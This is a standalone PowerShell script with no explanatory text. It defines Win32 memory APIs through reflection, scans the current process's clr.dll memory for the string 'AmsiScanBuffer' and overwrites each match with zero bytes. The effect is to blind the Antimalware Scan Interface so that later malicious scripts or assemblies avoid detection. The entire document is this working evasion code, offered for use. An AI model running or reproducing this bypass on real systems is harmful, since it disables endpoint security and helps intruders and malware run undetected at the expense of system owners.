$PAGE_READONLY = 0x02 $PAGE_READWRITE = 0x04 $PAGE_EXECUTE_READWRITE = 0x40 $PAGE_EXECUTE_READ = 0x20 $PAGE_GUARD = 0x100 $MEM_COMMIT = 0x1000 $MAX_PATH = 260 function IsReadable { param ($protect, $state) return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD) } $DynAssembly = New-Object System.Reflection.AssemblyName("Win32") $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False) $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]) [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public) $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType() $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]) [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public) [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public) $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType() $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class") $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError") $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True)) $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $Kernel32 = $TypeBuilder.CreateType() $aa = "AmsiScanBuffer" $signature = [System.Text.Encoding]::UTF8.GetBytes("$aa") $hProcess = [Win32.Kernel32]::GetCurrentProcess() $sysInfo = New-Object Win32.SYSTEM_INFO [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo) $memoryRegions = @() $address = [IntPtr]::Zero while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) { $memInfo = New-Object Win32.MEMORY_INFO_BASIC if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) { $memoryRegions += $memInfo } $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64()) } $count = 0 foreach ($region in $memoryRegions) { if (-not (IsReadable $region.Protect $region.State)) { continue } $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) { $path = $pathBuilder.ToString() if ($path.EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) { $buffer = New-Object byte[] $region.RegionSize.ToInt64() $bytesRead = 0 [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length, [ref]$bytesRead) for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) { $found = $True for ($m = 0; $m -lt $signature.Length; $m++) { if ($buffer[$k + $m] -ne $signature[$m]) { $found = $False break } } if ($found) { $oldProtect = 0 if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) { [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect) } $replacement = New-Object byte[] $signature.Length $bytesWritten = 0 [void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten) $count++ if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) { [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect, [ref]$oldProtect) } } } } } } $count